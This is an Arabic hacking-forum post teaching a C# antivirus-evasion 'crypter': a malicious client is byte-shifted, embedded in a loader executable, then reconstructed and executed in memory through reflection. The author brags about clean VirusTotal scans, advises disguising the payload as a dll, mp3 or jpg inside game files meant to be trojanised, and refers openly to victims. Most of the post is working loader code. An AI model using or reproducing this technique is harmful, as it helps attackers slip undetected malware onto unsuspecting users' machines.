01.01.2018 موضوع السنة - BasharBachirAlgorithm كلين


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,568
2,963
1
حياكم الله ياشباب
نزلت موضوعي هنا وفيه فانكشن
جمعنا فيها 2 بايت اراي الجمع هوة مش Merge او Combine
لا هوة جمع كل بايت من البايت اراي الاول
مع كل بايت من البايت الاراي الثاني
Remove And Return Structure Clean Virustotal 0/61
فقلت ليش مااعمل من الفانكشن خوارزمية تشفير قوية
كلين من الكل بفايروس توتال وتم تصوير ذلك بالفديو
اللي جرب يشفر بايت اري باي خوارزمية ولتكن AES256
رح يلاحظ انو بايتات البايت اراي اصبحت عشوائية ومبعثرة وغير منطقية
بالتاكيد لان البايت اراي تم تشفيره بناءا على مفتاح تشفير بخوارزمية AES256
الان لفك التشفير ستقوم انت بوضع فانكشن فك التشفير باللود
الفانكشن فيها مفتاح فك تشفير البايتات حتى يرجعو متل مكانو صح .؟
يعني بايتات كلاينتك بكونو بشكل مبعثر وكلين ومعطوب
وعند عمل Load بيتم ارجاعهم للشكل اللي كانو عليه بالتاكيد وتشغيلهم بالذاكرة
وهو عين ماحاكيته بالفانكشن الخاصة بي سميها خوارزمية ان احببت
الفانكشن رح تقوم بطرح البايت اراي الخاص بنا "الكلاينت" من بايت اراي اخرى
او بالاحرى رح تطرح كل بايت من البايت اراي الاصلية من البايت اللي بقابلها من البايت الاراي الواحدية
C#:
var tot = fisrt[i] - second[i] + start;
هذه البايت اراي الاخرى انا انشأتها يدويا من البايت الاراي الاصلية
حيث قمت باستبدال كل البايتات ببايت واحدي 01
وطبعا بكون ناتج الملف هذا اللي سميته cl01.exe كلين

VirusTotal




وقمت عن طريق الفانكشن بطرح البايت الاراي الاصلية من البايت اراي الواحدية
ولكن هنا وقفة فيه بايتات واحدية بالكلاينت او حتى صفرية
فكيف رح نطرح 0 من 1 هالشي رح يعطي خطأ
لذلك قمت بعمل استثناء للبايتين اللي بيحملو قيمة 0 و1
C#:
if (second[i] ==0 && second[i] ==1) continue;
طيب ليش 1 استثنيته .؟ ها سؤال حلو
لان وقت بطرح 1-1 رح يساوي صفر صح .؟
ووقت رح ارجع اجمع البايت اراي الاولى والثانية
رح يضيفلي 1 للقيم الصفرية الحقيقية الاصلية وهالشي رح يسبب عطب الملف
بجانب اضافته لـ1 للقيم الصفرية اللي حصلنا عليها من ناتج الطرح وهذا لاباس فيه
فلذلك قمت بالاستثناء هذا
النتيجة كلاينت معطوب والقيم مبعثرة ومشوهة تماما وكلين من الكل بفايروس توتال
الملف باسم minus.exe




VirusTotal

وهالشي بالتاكيد طبيعي "الملف معطوب مثل وقت التشفير باي خوارزمية"
الان يجب علينا جمع البايت اراي الناتجة minus.exe مع البايت الاراي الواحدي cl01.exe
C#:
var tot = fisrt[i] + second[i] + start;
ولكن ايضا يجب ان نقوم من نفس الفانكشن بعمل نفس الاستثناء فوق
حتى لايقوم بعمل اي جمع لاي بايت في البايت اراي minus.exe يحمل قيمة 0 او 1
C#:
if (second[i] ==0 && second[i] ==1) continue;
الان الكل انبسط بس رح يقول يعني لازم يكون فيه 2 ملفات تنفيذية بجانب الملف الاساسي
اللي بيجمع الملفين
بقول لك لا مااكتفينا بهالشي جبنا الملف الواحدي cl01.exe
وحولنا قيمه لـ بيس64 سترينج وهي كالتالي
C#:
AQEBAQEBAQEBAQEBAQEB
22528 محرف
اي ان
C#:
AQEB
مكرره 5632 مرة " قسمنا على 4 "
لاتنزعج مارح نضمنهم اصلا بالسورس
رح نستخدم فانكشن تكرار محرف او محارف معينه
اللي حكينا عنها البارحة
C#:
private static string Repeat(string value, int count)
        {
            return new StringBuilder(value.Length * count).Insert(0, value, count).ToString();
        }
رح نكرر AQEB بمرات تكرار تساوي 5632 مرة والسورس مافيه الا AQEB واحدة
C#:
Repeat("AQEB",5632)
ورح نحولهم لبايت اراي عن طريق الكونفيرت من البيس64
وبذلك تخلصنا من حجم الكلاينت كامل 17 كيلو بايت حجم الكلاينت طارو
تخلصنا من ملف cl01.exe كان يجب تواجده بجانب الملف الاساسي اللي بيفك التشفير
يعني بيجمع البايت اراي عدد 2
طيب فضل ملف minus.exe
قلت بالفديو عندك خيارات منها انك تسويه باي امتداد تريده dll,dat,mp3,jpg
وتخله مع ملفات اللعبة او البرنامج اللي تريد تلغيمه
اكيد مابتعطي الضحية كلاينت يشغله يعني
او لا منعمل مثل ماعملنا دائما
منحقن البايتات بناتج السورس ومنخليه يقراهم منه
قراءة البايتات رح تتم من خلال الفانكشن هذه
او مش قراءة فقط هذه الفانكشن بتعطينا البايت اراي المحقون
بترجع لنا بايت اراي وهو ملف الminus.exe
اللي فيه قيم الكلاينت منقوصا منها 1 عدا القيم الصفرية والواحدية
لاننا قمنا باستثنائها سابقا
C#:
static byte[] BasharIject(IEnumerable bb)
        {
            var test2 = new byte[16896];
            Type.GetType("System.Array")
                ?.GetMethod("Copy", new[] {typeof(byte[]), typeof(int), typeof(byte[]), typeof(int), typeof(int)})
                ?.Invoke(null, new object[] {bb, 8192, test2, 0, test2.Length});
            return test2;
        }
وبهيك خلصنا من ملف minus.exe مثل ماقلت
هنا الفانكشن او خوارزمية التشفير وفك التشفير "هي نفسها"
الفرق فقط - عند التشفير او + عند فك التشفير
C#:
private static byte[] BasharBachirAlgorithm(IList<byte> fisrt, IList<byte> second)
        {
          var total = new List<byte>();
            var start = 0;
            for (var i = 0; i < second.Count; i++)
            {
               if (second[i] ==0 && second[i] ==1) continue;
                var tot = fisrt[i] + second[i] + start;
                total.Add((byte) (tot & 0xFF));
                start = tot >> 8;
                }
            return total.ToArray();
        }
والاستخدام النهائي للسورس بيكون ببساطة على الشكل التالي
C#:
System.Reflection.Assembly.Load(BasharBachirAlgorithm(BasharIject(File.ReadAllBytes(Application.ExecutablePath)),
        Convert.FromBase64String(Repeat("AQEB",5632)))).EntryPoint.Invoke(null, null);
البايت اراي الاولى "كلاينتنا منقوص منه 1 عدا القيم الواحدية والصفرية"
محقون بناتج السورس ومنقراه منه
والبايت اراي الثانية .؟! كيف بايت اراي ثانية
مافي بايت اراي ثانية اصلا صارت 4 محارف هم AQEB :15:
بيتم جمع كل بايت بمايقابله من بايت في البايت اراي الاخرى
وبتم تشغيلهم
ملاحظة : ماعقدت نقطة الادخال ولاشكل قراءة البايت عشان ماتضيعو
ف انت شوف مواضيعي واعمل انتري بوينت محترمة ولاتخلي قراءة البايتات ظاهره
ومش شرط تنقص فقط 1 لا ان بدك نقص 2 بس استثني وقتها البايتات اللي قيمتها 2
لهيك ناتج الخوارزمية هنا اللي سويتها كلين لمدة طويلة جدا جدا :15:
السورس النهائي بالصورة
وناتج فحصه كما رح تشوفو بالفديو كلين
VirusTotal







لمشاهدة الفديو من الرابط هنا
https://drive.google.com/file/d/1WXvo-EaOxcDbvmdm-lA8veQNWhasmaRs/view?usp=sharing
 

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك